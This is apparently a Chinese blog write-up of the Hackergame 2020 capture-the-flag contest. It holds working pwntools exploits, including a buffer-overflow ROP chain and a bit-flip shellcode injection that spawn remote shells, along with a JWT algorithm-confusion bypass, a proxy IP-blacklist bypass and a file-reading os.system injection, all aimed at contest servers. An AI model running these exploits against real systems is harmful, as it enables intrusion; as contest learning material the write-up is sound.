文章目录[隐藏]
最近一周咱参加了USTC的Hackergame 2020。由于正好之前的Deadline清完了,而且听说这个比赛新人友好+时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前10,但是最后一小时还是掉出了前10(屯Flag的dalao们太强了,垂直上分老拜登了),终榜Rank11,算是一点遗憾吧哈哈。
话说回来,既然参加了比赛,就不能放过这个水blog的机会。且容我用Writeup水一篇blog~
签到
签到题就是一个前端验证的题目,简单修改前端页面元素就可以。
当然也可以修改url中的number
参数,而且多填几个确实会给好多个flag(
猫咪问答++
这题目有两个难点,一个就是第一问的哺乳动物数量(搜索真的太麻烦了!):
1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
另一个就是中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
了,也不知道是什么人才出的题目。而且有一个坑点,就是百度地图俯视角标出的车位数量是错的
必须在街景才能看到正确的数量。全部题目的答案如下,基本都可以通过搜索引擎搜索得到:
全部的答案如下:
- 12(大概是Docker、Golang、Plan 9、GNU、Perl、FireFox、MySQL、PostgreSQL、MariaDB、Apache Tomcat、Xfce、FreeDOS)
- 256(参阅:https://tools.ietf.org/html/rfc1149)
- 9(TEEWORLDS)
- 9(见上图)
- 17098
由于第一个很容易数错,所以其他几个空可以使用jQuery快速填写
$("[name=q2]").val("256"); $("[name=q3]").val("9"); $("[name=q4]").val("9"); $("[name=q5]").val("17098");
2048
同样也是一道前端题,嘛,当然最简单的解法也许是最难就是手工玩了(逃。打开Chrome调试工具,在Source选项卡可以看到页面的源码,基本没有经过混淆。阅读后,可以在html_actuator.js
发现请求Flag的逻辑,直接按着请求就行。
一闪而过的 Flag
题目是一个Windows控制台程序,由于打开立刻会关闭窗口因此难以阅读Flag。在Windows Terminal或其他终端打开程序即可。
从零开始的记账工具人
题目是一个含大写数字和物品数量的Excel,要求计算购买总金额。由于总量较大,没有办法简单通过人工转换,所以需要写脚本解析。我这里采用的方式是将题目转换为csv格式的文件(不转换也行,可以用pandas读),然后写Python脚本解析。说实话,这题目的格式挺复杂,搜到的转换函数都不太管用,最后还是自己写了。另外还有一点就是,由于浮点数精度有限,这题还需要×100转化为整数计算。
with open('./hg/bills.csv', 'r') as f: data = f.readlines() total = 0 m = "零壹贰叁肆伍陆柒捌玖" m_map = {k:m.index(k) for k in m} b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1} def trans(s): curm = None curb = None cur = 0 for ch in s: if ch == '整': continue if ch in m: curm = m_map[ch] elif ch in b_map.keys(): curb = b_map[ch] if curb is not None: if curm is None: if ch == '元': curm = 0 else: curm = 1 cur += curm * curb curm = curb = None return cur data = data[1:] for line in data: s, cnt = line.split(",") cur = trans(s) total += int(cur) * int(cnt) print(total / 100)
超简单的世界模拟器
这题是模拟康威生命游戏(Conway’s Game of Life),需要摧毁游戏中两个特定的方块,并且只可以在左上角15*15的游戏区域内绘制。第一次见到Conway’s Game of Life还是网鼎杯的诡异二维码,当时没能看出题目的提示。事实上这一题在康威生命游戏中有个特定的门类GUN,是专门设计能摧毁一块区域的结构的。第一题可以用Wikipedia的Glider解,至于第二题……我一开始在现有结构中试了半天,甚至尝试过通过反弹产生Glider,但是最后还是通过随机输入解的(囧)。
从零开始的火星文生活
这题和我之前校赛出的题目撞了hhhh(我出的可以参见:SpiritCTF 2020 – Misc Official Writeup 锟斤拷)。同样也是先按照题目使用GBK编码。之后考虑熵可大致判断是文本,因此直接暴力尝试不同编码解码即可。解码所用的编码为GB18030。
自复读的复读机
反向复读
题目要求输入一串自复读的Python代码,如果想不出来……那当然是Google一个了(逃。搜索“Python print itself”,在第一条搜索结果中可以找到这段代码
s = r"print 's = r\"' + s + '\"' + '\nexec(s)'" exec(s)
不过很显然,它不仅有换行,而且语法也是Python 2的,所以稍加调整就可以得到Python 3的版本
s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)
由于题目要求反向输出,因此在print
时还需要反向。此外,还有一个坑就是print
默认会在行末加换行符,需要通过end
参数绕开。最终Payload为
s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)
哈希复读
哈希复读和逆序同理,但是有一个问题,就是计算sha256需要导入hashlib
库。这里就用到了Python的BUG特性__import__
进行行内导入。因此最后的Payload为
s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)
#多说一句
虽然本身不是沙箱逃逸题,但是你其实可以读取一些题目文件好家伙,直接偷题
__import__("os").system('cat checker.py')
不过由于用户是nobody
,所以不能直接读取flag文件也不能搅屎。
233 同学的字符串工具
字符串大写工具
题目首先正则过滤掉了大小写的FLAG
,然后又希望str.upper
的输出是FLAG
。
r = re.compile('[fF][lL][aA][gG]') if r.match(s): print('how dare you') elif s.upper() == 'FLAG': print('yes, I will give you the flag') print(open('/flag1').read())
在正则表达式正确的情况下,我们只能合理怀疑是upper
出了问题。但是实际上相关资料少得可怜,源码也看不出什么端倪,所以想到直接爆破
for i in range(1 + 0x110000): # chr 最大值 s = chr(i) if s.upper() != s.title(): print(s)
然后结果中可以找到一个诡异的输出fl
,于是拼起来就得到了payload:flag
。而且StackOverflow确实能查到相关的提问。实际上,这个字符是拉丁文小型连字(U+FB02
),其标准的Case Folding就是0066 006C
(对应ASCII的f
和l
),所以Python的处理实际上没什么问题。
编码转换工具
第二题类似第一题,就是第二个条件变更为以UTF-7解码。这里的考察点是UTF-7编码,UTF-7编码本质上就是用Base64编码非ASCII(其实是ASCII的子集)字符。因此大部分的实现在解码过程中基本都是直接解码Base64,而这就会导致原本ASCII的字符有了两种表示,由此可以完成绕过。
对于字符f
,其ASCII码为0b0000000001100110
,六个一组可以分为[0b000000, 0b000110, 0b011000]
,查表得到'A', 'G', 'Y'
。因此最终的Payload为:+AGY-lag
。
233 同学的 Docker
这题考察的是Docker的镜像(IMAGE)。这里需要一个前置知识,为了节省空间,Docker镜像实际是分层存储的,每层仅仅存放了有差异的文件。
而Dockerfile中的每一行都会创建一个容器层,因此只需要找到容器在flag删除之前的那一层的文件就可以找到flag的内容。
# 拖拽镜像 docker pull 8b8d3c8324c7/stringtool # 查看Overlay位置 docker info # 进入对应文件夹(需要Root) cd /var/lib/docker/overlay2 # 查找flag文件 find . -iname flag.txt # 输出内容,注意其中一个是无法输出的 cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt
从零开始的 HTTP 链接
这题是字面意思,就是使用HTTP连接题目服务器的0号端口。所以手动操作Socket
from socket import * sock = socket() sock.connect(("202.38.93.111", 0)) sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode()) bin = sock.recv(4096) while bin: print(bin.decode()) bin = sock.recv(4096)
注意,似乎macOS底层限制没法连接0号端口。此外,由于我本地开启了透明代理,而相关工具不支持0号端口,搞得我一直以为哪里写错了……
连接上之后发现坑爹事儿:页面是WebSocket通信的。摆明就是不建议手写嘛!所以就Google了一个端口转发的Python脚本,改改地址(我还加了一大堆try/except
鲁棒!妥妥的鲁棒)然后用浏览器打开就行了。
来自一教的图片
题目提到了傅里叶光学实验,而且文件名是4f_system_middle
,所以我真的去找了一个4f光学系统的模拟……然后粗暴替换每一步的输入为图片,结果真被我做出来了(逃。最后的代码简化如下
img = double(imread('4f_system_middle.bmp')); img_fft = fftshift(fft2(fftshift(img))); colormap(gray(256)) imagesc(log(abs(img_fft))), axis image
结果就是一个fft啦!而且结果还挺难认的,有些字符直接跑到左边去了。
超简陋的 OpenGL 小程序
打开程序发现Flag的模型前面有一堵墙,程序Shader就是简单实现了Phong光照(其实缺了高光分量)(不懂Phong光照的可以看我OpenGL笔记的光照篇,哦我还没写出来,那没事了)。由于懒得逆向,而且Shader程序是文本形式的GLSL,所以不妨直接改一改Shader。由于墙本质是一系列顶点,所以我们只需要判断墙的顶点,然后把它移开就行。
#version 330 core layout (location = 0) in vec3 aPos; layout (location = 1) in vec3 aNormal; out vec3 FragPos; out vec3 Normal; uniform mat4 model; uniform mat4 view; uniform mat4 projection; void main() { vec3 pos = aPos; if (pos[2] > 0.1) { pos[0] += 1; pos[1] += 1; pos[2] += 2; } FragPos = vec3(model * vec4(pos, 1.0)); Normal = aNormal; gl_Position = projection * view * vec4(FragPos, 1.0); }
pos[2]
对应的就是z轴坐标,具体的值需要多试几次,不然效果会很古怪。
生活在博弈树上
题目内容NETA自2020浙江高考满分作文《生活在树上》,老八股了。
始终热爱大地
题目程序实现了一个井字棋的博弈树。而由于服务器是先手,因此正常情况下本题是没有办法下赢电脑的。考虑到题目给了binary,所以这题本质还是pwn。第一次在正赛打pwn,有点小激动。观察源码,可以找到危险函数gets
,可以确定是一个ROP。
所以目标是覆盖到success
,使程序成功退出。把binary丢进cutter,与源码对应就可以找到success
在栈上的位置。
可以看到success
到buffer
的偏移是0x90 - 0x1
,因此直接覆盖过去。此外还要注意一点就是,因为覆盖成功后需要进入判断,所以覆盖的时候要使用数字并且该格子需要没被占领,因此直接盖'1'
即可。Exp如下
from pwn import * token = "Your token" real = True if real: sh = remote("202.38.93.111", 10141) sh.sendline(token.encode()) else: sh = process("./hg/tictactoe/tictactoe") sh.recvuntil("such as (0,1):") payload = b"1" * (0x90 - 0x1) + b'\x01' sh.sendline(payload) sh.interactive()
升上天空
既然是ROP,不难想到第二题就是Get Shell了。Get Shell的目标很明确,就是调用系统调用。这里就是59
号系统调用execve
。因此需要填写这几个寄存器
NR | syscall name | references | %rax | arg0 (%rdi) | arg1 (%rsi) | arg2 (%rdx) |
---|---|---|---|---|---|---|
59 | execve | man/ cs/ | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
填写寄存器的通常方法是找一些可以利用的代码段(叫做Gadget),这些Gadget一般包括寄存器修改,最后以ret
结尾(用来返回栈,继续执行下一个Gadget)。比如add rax, 1 ; ret
就是给rax
寄存器+1的Gadget。这里可以使用工具ROPgadget
来查找可用的Gadget,由于输出较多,因此需要手动grep
一下结果。比如对于填写调用号寄存器rax
,我们可以查找如下Gadget
$ ROPgadget --binary ./tictactoe | grep 'add rax' 0x0000000000463af0 : add rax, 1 ; ret $ ROPgadget --binary ./tictactoe | grep 'xor rax' 0x0000000000439070 : xor rax, rax ; ret
xor rax, rax ; ret
可以用来清空rax
寄存器的内容,之后重复59次add rax, 1 ; ret
就可以使rax
寄存器的内容变为59。而对于rdi
这种指针类型的参数,我们可以直接在栈上布置内容,然后使用rsp
寄存器的值作为指针位置(比如push rsp; ret
加上pop rdi; ret
)。当然也可以寻找一个有读写权限的段(比如.data
),然后将值写入,比如栈上布置
0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data段地址 0x00000000004a60e0 -> .data段地址 0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh' hex('/bin//sh') 0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax
由于这种布置比较简单,题目也没加设限制,所以可以直接使用ROPgadget的ropchain选项自动生成ROP链。最终Exp如下
from pwn import * token = "Your token" real = True if real: sh = remote("202.38.93.111", 10141) sh.sendline(token.encode()) else: sh = process("./hg/tictactoe/tictactoe") # ROPgadget --binary ./tictactoe --ropchain from struct import pack # Padding goes here p = b'' p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e0) # @ .data p += pack('<Q', 0x000000000043e52c) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret p += pack('<Q', 0x00000000004a60e0) # @ .data p += pack('<Q', 0x0000000000407228) # pop rsi ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret p += pack('<Q', 0x00000000004a60e8) # @ .data + 8 p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret p += pack('<Q', 0x0000000000402bf4) # syscall sh.recvuntil("such as (0,1):") payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p sh.sendline(payload) sh.interactive()
来自未来的信笺
本题题目为一系列二维码,构造方式类似于Github北极存档计划。所以逐一扫码后拼接解压即可得到Flag。吐槽下Python的二维码库,基本都没法用(比如zxing的Python bind)。
#!/bin/sh for i in *.png; do zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin" done cat *.bin >> merged.bin
狗狗银行
题目允许开储蓄卡、信用卡,并且信用卡可以给储蓄卡转账,每日产生消费和利息。简单实验发现题目存在浮点数四舍五入,所以可以利用这一点,给储蓄卡转账167元(因为167 * 0.003 = 0.501
会被四舍五入为1)以利用。假如开100张,每日能赚100,同时需要还83(167 * 100 * 0.005 = -83.5
),每日还有额外开销10。可以看到最终还是会多的,但是由于欠款越来越多,所以100张还是无法赚取1000,最后解题使用了500张卡。可以在控制台用Fetch API简化开卡流程。
// 开500张,注意先手动开一张信用卡 for (i = 0; i < 500; i++) { fetch("http://202.38.93.111:10100/api/create", { method: 'POST', body: JSON.stringify({type: "debit"}), headers: new Headers({ "Content-Type": "application/json;charset=UTF-8", "Authorization": "Bearer Your token" }) }) } // 转账 for (i = 3; i <= 502; i++) { fetch("http://202.38.93.111:10100/api/transfer", { method: 'POST', body: JSON.stringify({ amount: 167, dst: i, src: 2 }), headers: new Headers({ "Content-Type": "application/json;charset=UTF-8", "Authorization": "Bearer Your token" }) }) } // 然后就嗯点就行了
超基础的数理模拟器
题目是真的朴实无华且枯燥,就是嗯解400道定积分。听说还有直播手算的dalao,几小时就做完了。然而咱数理基础并不是很扎实,所以只得偷鸡用脚本跑。一开始我用了Sympy
尝试求解,发现大量失败,所以我就放弃自己解了。结果后来听说用numpy
就能出数值解,囧。
我最终是使用了微软计算器的API,直接读取Latex格式公式计算。虽然十几次才能算一个,但是挂一晚上也够了(逃。此外就是还需要注意Session的问题,所以需要维护一个Cookie Jar。最后Exp脚本如下,感谢M$爸爸没Ban我IP
import requests import re from bs4 import BeautifulSoup import pickle import os ret_re = re.compile("approx\\s([0-9\\.]+)") session = requests.session() ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36' def load_base_cookie(): url = "http://202.38.93.111:10190/login?token=Your%20token" headers = { 'User-Agent': ua } session.request("GET", url, headers=headers) assert len(session.cookies) > 0 def load_cookie_from_file(): if os.path.exists("./cookies"): print("从文件恢复Cookie") with open('./cookies', 'rb') as f: session.cookies = pickle.load(f) else: print("载入新Cookie") load_base_cookie() def save_cookie(): with open('./cookies', 'wb') as f: pickle.dump(session.cookies, f, 0) def solve(latex : str): url = "https://www.bing.com/cameraexp/api/v1/solvelatex" latex = latex.replace("\\", "\\\\") payload = "{\n \"latexExpression\": \"" + latex \ + "\",\n \"clientInfo\": {\n \"platform\": \"web\",\n \"mkt\": \"zh\",\n \"skipGraphOutput\": true,\n \"skipBingVideoEntity\": true\n },\n \"customLatex\": \"" + \ latex + "\",\n \"showCustomResult\": false\n}" headers = { 'Content-Type': 'application/json', 'Cookie': 'Your cookie', 'User-Agent': ua } response = requests.request("POST", url, headers=headers, data = payload) data = response.json() data = data['results'][0]['tags'][0]['actions'][0] print("取得返回结果:", repr(data)[:70]) groups = ret_re.findall(data['customData']) ret : str = groups[0] point_at = ret.index(".") decimals = len(ret) - point_at - 1 if decimals > 6: ret = ret[0:point_at + 6 + 1] else: ret += '0' * (6 - decimals) # 是不是要补0? return ret def get_quest(): try: url = "http://202.38.93.111:10190" payload = {} headers = { 'User-Agent': ua } response = session.request("GET", url, headers=headers, data = payload) html = response.text soup = BeautifulSoup(html, 'html.parser') num = soup.find(class_='cover-heading') formula = soup.find("center") save_cookie() return num.get_text(), formula.get_text().replace("$", "").replace("\n", "") except Exception as e: print("获得题目错误:", e) return None, None def submit_ans(ans, finish): url = "http://202.38.93.111:10190/submit" payload = "ans=" + ans headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': ua } response = session.request("POST", url, headers=headers, data = payload) html = response.text save_cookie() if finish: with open('./result_page', 'w') as f: f.write(html) print("保存结果成功") check = '答案正确' in html return check def auto_solve(): finish = False while True: try: num, latex = get_quest() if int(num.replace("题", "")) <= 1: finish = True print("得到题目:", num, ";内容:", latex) ans = solve(latex) print("解出答案", num, ":", ans) ret = submit_ans(ans, finish=True) print("回答情况:", ret) if finish: print("整完噜~") break except Exception as e: print("解题失败", num) continue def solve_prompt(): while True: latex = input("输入题目:") try: ans = solve(latex) print("解出答案:", ans) except Exception as e: print("解题失败") load_cookie_from_file() auto_solve() #solve_prompt()
永不溢出的计算器
本题给出了一个模M的运算器,并且给出模M意义下Flag数65537次方的值。看到65537很自然的想法就是RSA,因为65537是常用的e(另一个常用e就是白给的3)。所以首先获得模数,这个只需要找两个运算结果大于不同倍M的式子,计算后GCD即可。
其次就是尝试分解模数M。暴力的方法肯定是行不通的(因为我都试过了),所以必须考虑其他途径。这里的关键点是平方根的计算,因为模M=pq意义下在不知p、q的情况是很难计算的。
所以考虑实际的计算,假设
a^2 \equiv b^2 \pmod{M}
换句话说就是考虑开完根号可能出现多解。所以很容易可以得出
M \mid a^2 - b^2
由于a^2 - b^2 = (a + b)(a - b),所以a + b和a - b都是M的因数。由于M=pq,所以他们只能是1、p、q、n的倍数。因此,只要直接GCD就完事了。此外关于a、b的选取,考虑我们不想要的1、n情况:
- 当\gcd(M, a-b)=1,因为a、b都小于M,因此a+b=M即a \equiv b \pmod{M}。
- 当\gcd(M, a-b)=M,因为a、b都小于M,因此a=b。
所以只要找一个数字x,它的平方y使用计算器计算后得到的结果不等于x与M-x即可。假设计算结果是x’,那么计算\gcd(M, x-x')=p就行。Exp代码如下(尝试过程省略了)
from Crypto.Util.number import * import math M = None def get_m(): # 2 ^ 1025 o1 = 2 ** 1025 o2 = 28396208086015887845047917674801059600737029035540492059723476056779072566297213092405141458246616470073917859670006369063544396631118198789203547965290363793740041591265634913577320642409648302494545035960037092632280770945230482935383261147696321296925396569228655655527023152531257419742168253446327877839 # 2 ^ 1234 o3 = 2 ** 1234 o4 = 18439318309887542461394929370793729821071276205399745554337427837778094675987546208728624093797526895487281890537037529724343449752760056064299251513661733089720809165986704539203568027749964273695088186456166418635045645757869485496862926747424193292213807803901677317073477166115666781620752376949381030496 # c1 = o1 - o2 c2 = o3 - o4 ret = GCD(c1, c2) global M M = ret print("模数:", ret) print("Len: ", int(math.log(M) / math.log(2))) p = q = None def gene_num(): import random org = random.randint(2**1020, 2**1022) sq = pow(org, 2, M) print(org) print() print("sqrt(%d)" % sq) def get_p(): org = 18741454620082898159174559625502548807412690568036120291610938473112073884577404462944043327063899675102784236919743342168222507037073357703730385344757989708391354892973066880246677300053912363408663575239099496503757686200617061100216796831982914772328403715626368128169159049894732503905934070612301139988 ret = 4134494564505163299656993274183382485759379627772854466862230948199698016865921800671644325407121306703333818514510643104855619701242642559781973249835060787951331914396799306151043243998083619638722972808991749706430049307840385705183541466923145482354915102711833485388819207127431229002982541524940777514 global p global q # 得到 p = GCD(org - ret, M) q = M // p print("分解M:", p, q) assert M == p * q a = 11139595682294548103327872340796324598909376504543671625016162043217132501805157943603340931851125699042215237465622297059167130973886037490924521205662995855201991685663696578642478590649265273523260853261498263406513173903023503910632005457401792005427692524947535990590186146540321155888752658789443160772 e = 65537 # 求M,p,q get_m() # gene_num() get_p() # RSA phi = (p - 1)*(q - 1) d = inverse(e, phi) b = pow(a, d, M) print(long_to_bytes(b).decode())
普通的身份认证器
题目提供了获取JWT Token与使用JWT Token的方法,并且验证时提示要admin
才能获取Flag,因此不难猜到是对JWT进行Hack。根据提示“旧requirements”,猜想使用的是旧版本的pyjwt库,由此找到CVE-2017-11424。可以看到主要是关于混淆对称、非对称算法的,结合题目采用RS256
算法签名,因此可以猜想是转化为对称的签名方式HS256
进行绕过。
接下来就是找公钥了。观察请求头注意到服务端使用的是uvicorn,因此想到Fast API的文档泄露。请求http://202.38.93.111:10092/docs
,果然发现有/debug
接口,请求就能得到公钥。
然后就是构造JWT Token了,这里可以使用jwt_tool工具辅助修改。在jwtconf.ini
中设置公钥的位置之后,就可以用如下指令重签题目给出的JWT Token了。
# 询问式更改相关字段 $ python jwt_tool.py Your_JWT_Token -T # 重签 $ python jwt_tool.py Your_new_JWT_Token -X k
×超精巧的数字论证器
写了个脚本,但是要跑一天……懒得再写并行跑的脚本了,遂放弃。
[题解后] 原来正确的做法是通过
-~
来实现+1,确实没想到这一层。
×超自动的开箱模拟器
数学太难了,咱只会BF,那算法去哪儿领(
[题解后] 我曾经想过置换分解,但是没想通原理感觉不靠谱就没做。看完后理解了原理是长置换出现的概率低,确实没想到这一层。当时没想通为什么一定会出现……
室友的加密硬盘
通过file
指令可以确定,题目是一个MBR磁盘的Dump(估计是dd
出来的)。因此可以使用gdisk
指令查看分区(fdisk
也一样)。
$ gdisk roommates_disk_part.img GPT fdisk (gdisk) version 1.0.5 Partition table scan: MBR: MBR only BSD: not present APM: not present GPT: not present Command (? for help): p Disk roommates_disk_part.img: 4194304 sectors, 2.0 GiB Sector size (logical): 512 bytes Disk identifier (GUID): 3D717327-6C3D-49ED-8F87-B18CF46E4AE2 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 4194270 Partitions will be aligned on 2048-sector boundaries Total free space is 8158 sectors (4.0 MiB) Number Start (sector) End (sector) Size Code Name 1 2048 391167 190.0 MiB 8300 Linux filesystem 5 393216 1890303 731.0 MiB 8200 Linux swap 6 1892352 3891199 976.0 MiB 8300 Linux filesystem 7 3893248 16775167 6.1 GiB 8300 Linux filesystem
可以看到总共有四个分区,而且可以看出给出的硬盘并不完整。使用photorec
工具复原分区文件,可以大致确定分区1是/boot
分区,分区6是LUKS加密的/home
,分区7是rootfs
。尝试使用hashcat
字典爆破LUKS头未果,只能考虑别的方案了。由于题目中提到了512位AES,因此想到有可能是swap分区中残留了启动时用于解密的AES秘钥,因此使用findaes工具搜索可能符合的密钥。
$ ./findaes roommates_disk_part.img
然后找临近的两个AES拼接(真的是玄学,因为需要的是512位但是找到的是256位的),这里注意由于内存是小端的,所以要先后再前。由此能得到一系列可能的AES密钥,之后就是测试用秘钥挂载了。首先挂载环状设备把分区文件变为块状设备:sudo losetup --offset 968884224 /dev/loop8 roommates_disk_part.img
。这里的偏移是通过起始柱面 1892352 × LBA大小 512 = 968884224
计算得到的。之后使用cryptsetup luksOpen
就可以挂载了。成功的密钥对是
Found AES-256 key schedule at offset 0x171c873a: fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 Found AES-256 key schedule at offset 0x171c890d: e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1
超简易的网盘服务器
由于给出了dockerfile
和nginx.conf
,因此基本上能得到大致的部署细节。实际上题目在网站根目录/
和公开目录/Public
同时部署了两个h5ai。
考虑到nginx.conf
中,对以.php
为结尾的文件访问没有鉴权,部署过程中也没有配置h5ai的相关鉴权,因此实际上可以直接访问这个部署的内容:http://202.38.93.111:10120/_h5ai/public/index.php。于是关键就在于如何仅靠这个链接下载(/
目录是有Base Authentication的),通过阅读源码或简单猜测就能发现可以使用下载API来读取,于是构造最终Payload
超安全的代理服务器
找到 Secret
如题目所说,页面发送了一个HTTP/2的Server PUSH。但是我在Python找到的hyper库好像不太好使,所以最后开了个MITM抓的包(逃。
入侵管理中心
题目列了域名白名单、IP黑名单,所以明显是用IP绕过。很明显缺了0.0.0.0
,所以手写一个Proxy复现就行。中间还提醒了要加Referer头,感觉是针对非手写的用户hhhh。
from socket import * import ssl context = ssl._create_unverified_context() content = b'CONNECT 0.0.0.0:8080 HTTP/2\r\n' + \ b'Proxy-Connection: Keep-Alive\r\n' + \ b'Content-Length: 0\r\n' + \ b'Host: 146.56.228.227\r\n' + \ b'Secret: 9cad5cc1ea' + b'\r\n\r\n' sock = socket() sock = context.wrap_socket(sock) sock.connect(("146.56.228.227", 443)) sock.send(content) bin = sock.recv(4096) print(bin.decode()) req = b'GET / HTTP/1.1\r\n' + \ b'Host: 127.0.0.1\r\n' + \ b'Referer: https://146.56.228.227/\r\n' + \ b'\r\n' sock.send(req) bin = sock.recv(4096) while bin: print(bin.decode()) bin = sock.recv(4096)
×证验码
我的思路是按照字体计算黑色像素,之后根据图片的黑色像素数量还原。但是干扰线实在太烦人了,在没有干扰线的情况下勉强能做,加了干扰线结果就偏好远。干扰线平均会去掉200左右个像素点,尝试了整数线性规划但是以失败告终。
[题解后] 原来绘制字的时候不是纯黑白的,可恶啊!分拆的想法倒是没有错,确实没想到还有非纯黑白的像素,竟然一次都没在图片编辑程序里看过这个验证码……
×动态链接库检查器
大概是CVE-2019-1010023复现吧,但是CVE好长,不想看……
[题解后] ???我试过这样没有用啊???
超精准的宇宙射线模拟器
这题目也是一个PWN。把binary丢进Cutter,可以看到程序大概的逻辑就是读取地址和一个位数,然后翻转对应的比特位。对于不合法的输出,程序会重复读取一遍。
而为了达到改写任意比特的效果,程序在__init
处还调用了mprotect
用来开放内存段的写权限。
因此这一题并非是传统的PWN,我们是可以更改.text
段的内容的。但是话说回来,一个Bit用来布置Shellcode肯定是远远不够的,所以我们首先需要破除一个Bit的修改限制。综合程序逻辑,我们可以确定突破口在于修改exit(0)
。exit
函数调用的第一步就是跳转至.plt
,因此我们可以考虑微调它的跳转位置到无关紧要的函数上。
考虑call
指令的格式
比如这条指令e8 26 fe ff ff
,将地址转为小端0xfffffe26
可以看出是一个负数-474
,加上指令长度5就能算出调用目标地址0x401295 + 5 - 474 = 0x4010c0
。由于补码变动其实也是正常增减,因此考虑靠谱的能翻转的位只有
0x26
的第1位,地址变化为-20x26
的第2位,地址变化为-40x26
的第5位,地址变化为-320xfe
的变动就太大了,可以忽略
查看.plt
表,你说巧不巧,mprotect
的偏移(0x4010a0
)正好差exit
的偏移(0x4010c0
)32!
而且跳到mprotect
时寄存器的内容也没什么问题,程序也不会退出,所以我们构造出了第一个Payload:401296 5
。
下一步就是考虑布置Shellcode与执行了,同样执行我们也是通过修改循环内的call
指令,只要跳到任意有读写执行权限的内存区域即可。不过需要注意的是,由于跳转立刻生效,所以也只能变动一位。这次选择的是修改第一个call setvbuf
为跳转至entry0
(IDA下是_start
),Payload为40120a 6
。于是,只需要在0x004010d0
处布置Shellcode就能成功Get shell了。完整的Exp如下
from pwn import * context(log_level = 'debug', arch = 'amd64', os = 'linux') token = "Your token" real = True if real: sh = remote("202.38.93.111", 10231) sh.sendline(token.encode()) else: sh = process("./hg/bitflip") input("等待GDB") with open("./hg/bitflip", 'rb') as f: data = f.read() START_ADDR = 0x4010d0 def make_payload(): result = [] shellcode = asm(shellcraft.sh()) org_data = data[(START_ADDR & 0xffff):(START_ADDR & 0xffff) + len(shellcode)] # 检查不同位 diff = [b1 ^ b2 for b1, b2 in zip(shellcode, org_data)] for offset in range(len(diff)): for i in range(8): if (1 << i) & diff[offset]: addr = START_ADDR + offset result.append("%x %d" % (addr, i)) print(result) return result # 改 exit 为 mprotect,避免退出 sh.recvuntil("flip?") sh.sendline(b"401296 5") # 写 shellcode payloads = make_payload() for payload in payloads: sh.recvuntil("flip?") sh.sendline(payload.encode()) # call setvbuf -> call entry0 sh.recvuntil("flip?") sh.sendline(b"40120a 6") # shell sh.interactive()
×超迷你的挖矿模拟器
这题的攻击点还是很好找的,就是Game::damage
。只需要在waitFor
一处更改当前地图使挖掘的格变成Flag就好。
if (location.getMaterial().harderThan(material)) { // 这个分支必须是false this.waitFor(LONG_DURATION); result.put("dropped", Material.AIR.name()).put("flag", ""); } else { this.waitFor(SHORT_DURATION); result.put("dropped", location.getMaterial().name()); result.put("flag", location.getMaterial().flagOf(this.currentUser)); // 唯一出flag的位置 }
查看Game::reset
,其中有三位无法预测BASE_SEED_RNG.nextInt() & 7
。因此每次需要同时发送8个请求检查。所以一切的问题就回到如何通过地图爆出Game::baseSeed
了,Java的Random
是一个LCG,但是咱不太会爆……实际上能爆出大于低3位就能通过移位的方法逐渐爆破了。如果能找到另一个Flag块倒是可以做,但是我个人觉得不太现实,因为范围太大了,而每次state
只能得到32*32。
[题解后] 原来是先通过黑曜石爆破后20位,之后爆破前28位。这里利用的是黑曜石的数字特征,没想到能分段爆破。一直以为可用位太少不可能爆破出结果来着。以及非预期解我竟然没想到AIR也是可以挖的,好气啊……
×Flag 计算机
DOS逆向,但是咱没有调试环境啊(泪目)。似乎是一个PRNG,cutter给了F5,但是结果不太能看,16位程序咱也不熟悉。
[题解后] 看了题解发现和猜想的算法类似,但是过程好麻烦,确实不太想做……
×中间人
完全不会。
[题解后] 看了题解发现也确实不会。
不经意传输
解密消息
题目要求能求出一个数字,所以直接令v为x0就可以。
×攻破算法
盲猜论文复现,但是论文比CVE还长,不想看……
[题解后] 是我输了,原来是通过分布不均这一点做的……
后记
